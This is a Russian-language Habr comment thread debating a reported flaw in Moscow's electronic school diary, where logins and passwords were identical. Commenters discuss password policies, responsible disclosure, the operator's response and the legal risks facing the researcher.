    Потому, что «пока гром не грянет, мужик не перекрестится». Все эти сложные неотключаемые политики паролей не только выбешивают, и не только провоцируют использовать один и тот же пароль на нескольких ресурсах. Они провоцируют пользователей использовать простые пароли где только можно, где позволят, где нет политик. А ещё они не дают пользователям на собственной шкуре почуствовать, что такое скомпрометировать данные, или даже учётную запись.

    Политики паролей, которые носят категорический характер (вида «нельзя использовать пароль менее чем из 8 символов» или «обязательно должны быть прописные и строчные буквы и цифры») — зло. Они только уменьшают пространство паролей, не привнося особого повышения безопасности. Появляются пароли вида CegthCtrhtnysqGfhjkm, и почему люди решили, что это резко повышает безопасность — ума не приложу. Это же всего один бит энтропии!

    Я принимаю два возможных подхода к заданию пароля. Первый — это генерация случайного пароля. Пользователь может потыкать кнопочку несколько раз, будут генерироваться новые пароли, и можно остановиться на том, который понравился, но вот ввести свой собственный пароль нельзя. Это даст максимальную безопасность. Также это повысит шансы, что пароль не будет совпадать с паролем этой же персоны на других ресурсах.

    Второй — позволить установить совершенно произвольный пароль, но при этом давать рекомендации по поводу его сложности. Например, сейчас популярно показывать «сложность» пароля в процессе его задания в виде цветной полоски, дополняя текстом (простой/средний/сложный) — вот это отличная идея. В этом случае также возможно ограничивать доступ к более опасным функциям пользователям с недостаточно сложными паролями.

    Красивым решением будет забыть об аутентификации по паролю и раздать токены (ну или pkcs12-контейнеры, на худой конец). Аутентификация будет по клиентскому tls-ключу, например, по полю commonName.

    И, в описанном случае по-моему виноваты не разработчики, а те, кто систему разворачивал и разработал или утвердил регламент добавления пользователей. Система позволяла задать нормальные пароли, это админы-внедрятели не воспользовались возможностью.


  1. ComodoHacker
    30.12.2015 20:02
    +5

    Хороше исследование, особенно для школьника. И правильно сделали, что опубликовали здесь, надеюсь кто-то получит по шапке и в следующем школьном проекте все будет не столь печально.

    Однако на будущее посоветую автору познакомиться с концепцией Responsible disclosure, что можно перевести как «ответственное раскрытие (информации)». Основная идея в том, чтобы дать админам и разработчикам системы возможность исправить найденную уязвимость до того, как информация о ней будет опубликована в открытом доступе. Тем самым выводятся из-под удара простые пользователи. И в публикации обязательно сообщается, как и когда был информирован вендор, его реакция, сколько времени было дано на исправление и т.д.


    1. subirdcom
      01.01.2016 22:32
      +1

      Я писал на почту. Ждал долго, но ответа не было, наверное, считали, что это не серьезно. Вот и написал статью на хабре, чтобы хоть какая-нибудь реакция была. К счастью пофиксили быстро, и теперь я не могу авторизоваться в дневнике даже под своим логином. На почту новый логин не пришел. Потом выдадут новый, я надеюсь.


  1. DIT
    30.12.2015 20:18

    Всем участникам дискуссии большое спасибо за ценные комментарии! Во-первых, спешим немного успокоить, описанная в посте ситуация касается только нескольких школ, в которых идет пилотирование новой экспериментальной версии дневника, остальные школы заходят в электронный дневник и журнал через московский портал госуслуг, то есть идентифицируются дважды. Участников пилота инструктировали менять пароль при первом заходе в систему, однако силу инерции действительно недооценили. Что уже сделали – принудительно сменили все идентичные логины и пароли учителей, сделали заход и в эту версию дневника через личный кабинет на pgu.mos.ru, запретили работу с родительским и ученическим аккаунтом пока пользователь не сменит пароль. Топикстартеру отдельное спасибо, однако было бы этично сначала связаться с нами.


    1. jia3ep
      30.12.2015 20:41
      +1

      принудительно сменили все идентичные логины и пароли

      Видимо не только их.

      сделали заход и в эту версию дневника через личный кабинет на pgu.mos.ru

      Что-то сильно испортилось. При логине из pgu.mos.ru пишет, что пользователя с указанным логином МРКО не существует. А на dnevnik.mos.ru был хороший пароль (я то поменял его сразу, хотя ребенок инструкций из школы не приносил) и туда теперь тоже не пускает с ним.

      А есть какой-то багтрекер у вас или Хабр вместо него?


  1. samodum
    31.12.2015 01:11

    >Странная строка, добавляемая к концу пароля, добавлялась, наверное, для криптостойкости — чтобы хеш трудно было взломать, если его перехватят.

    В терминах криптографии это называется «salt» — «соль»


  1. dennis777
    31.12.2015 02:18

    Вообще, смешной случай, очень интересно ребята с паролями придумали.

    Хотя, что касается школьников, там и брутфорсить не нужно. У меня знакомый в день получает по 500+ аккаунтов к ВК, мейлу, фейсбуку, благодаря взломанным играм. И вроде пароль у человека из 30+ символов, но качает всякую дрянь, и все равно учетка уходит к злоумышленникам.


  1. whiplash
    31.12.2015 22:38
    +1

    Но самое страшное — это когда простой пароль у любой сервисной учетки, с привилегиями чуть выше обычного юзера и далее до максимальных.
    Это просто жесть и катастрофа для инфраструктуры.


  1. Acuna
    31.12.2015 23:22
    +1

    «Посмотрев на свой логин, я заметил особенность, что он состоял из фамилии, первой буквы имени и первой буквы отчества (всё это транслитерируется) и пароль был таким же».

    Я одного не могу понять… Как? Как?! Если бы кто это мне рассказал, я бы подумал, что это какой-то анекдот.


    1. mekegi
      01.01.2016 18:23
      +2

      «Не стоит искать скрытый смысл там где все можно объяснить тупостью»
      Обычная ситуация — посредственные исполнители делают унылое г, ибо сделать качественный продукт не могут.
      На рынке труда аццкий дефифит квалифицированных кадров в итоге имеем ситуацию когда дыры приходится затыкать средненькими кадрами которые емеют хоть что то. И таких вот «хоть что то » 80% на рынке труда


      1. Wesha
        01.01.2016 21:26

        Кстати, по на эту тему я сейчас перевожу наизамечательнуйшую статью для хабра.


      1. Acuna
        03.01.2016 00:00
        +1

        Да уж… Но ведь я уже в школе умел их в md5 хотя-бы, умел даже генерировать рандомные строки, даже ясно понимал, что шифровать нужно с солью и т. д. И это при том, что я прогуливал информатику и собссно программистом становиться даже не собирался (кто-бы мог подумать, что я полностью свяжу с ним всю свою жизнь...).

        Я помимо Вашей предполагаю тут и другую проблему — банальный распил. То есть выделили на этот дневник 3 миллиона (или сколько там… Примерно столько?), программить посадили секретарш (в прямом смысле), и сколько в результате получили на руки чистыми? Правильно, 2 990 000 руб.))) Может даже больше. Лично я только так могу объяснить такой фейл, который даже ради прикола придумать сложно. Я-бы такой прикол не придумал бы, сразу скажу))) Особенно где-где, в дневнике, которым будут пользоваться ВСЕ школы (!).


  1. dcc0
    02.01.2016 19:05

    Топикстартеру отдельное спасибо, однако было бы этично сначала связаться с нами.

    Топикстартеру повезло, как я понял. А то мог бы быть сначала звонок «откуда следует», разговор в кабинете =)


    1. subirdcom
      02.01.2016 19:44
      +3

      Я писал на почту. Ждал долго, но ответа не было......


      1. dcc0
        02.01.2016 23:48

        Вы, видимо, не работали в гос. структурах никогда.
        Хочу предостеречь, что если даже человек руководствуется самыми благими намерениями, даже если всех предупредил, мало того, даже если ему потом сказали спасибо, остается ровно два варианта развития событий — он окажется в кабинете следователя, а затем в суде или не окажется — вероятность ровно 50 на 50.


        1. Wesha
          03.01.2016 01:22

          он окажется в кабинете следователя, а затем в суде или не окажется
          Музыкой навеяло:

          "— Какова вероятность, выйдя на улицу, встретить динозавра?
          — 50%.
          — Это как???
          — Ну как: либо встречу, либо не встречу..."


          1. dcc0
            03.01.2016 06:46

            Да-да, именно этот анекдот я вспоминаю, когда речь идет о гос. машине. Про бинарную оппозицию героиня анекдота знала.
            Причем замечу, что за подобное реально схлопотать минимум условку. Буду только надеяться, что автору повезет.


            1. Wesha
              03.01.2016 07:16

              Про бинарную оппозицию героиня анекдота знала.
              … но не знала, что не все события созданы равными равновероятными.

              В любой стране (в России особенно, но не надо себя утешать — в других ничуть не легче) вероятность загреметь зависит не только и не столько от того, насколько индивидуум виноват, а от того, насколько он достаёт тех, кто у власти. Помните Ришелье? «Дайте мне шесть строчек, написанных рукой самого честного человека, и я найду в них то, за что его можно повесить.» В США, например, среднестатистический человек совершает три правонарушения в день — причём речь идёт не о таких мелочах, как переход улицы в неположенном месте.

              Вот, скажем, в США человека засудили (и довели до самоубийства) за то, что он скачал в библиотеке документы, которые он имел законное право (имел законное право, Карл!!!) скачивать.


        1. Steve_Key
          06.01.2016 20:00

          То есть, информировать авторов этого дневника было лишним?


  1. dcc0
    03.01.2016 12:10

    Я примерно знаю, что может вдруг клюнуть в голову тому или иному чиновнику.
    Вы ведь не очень задумывались, как будет выглядеть ситуация «с той стороны», при этом сразу в нескольких аспектах?!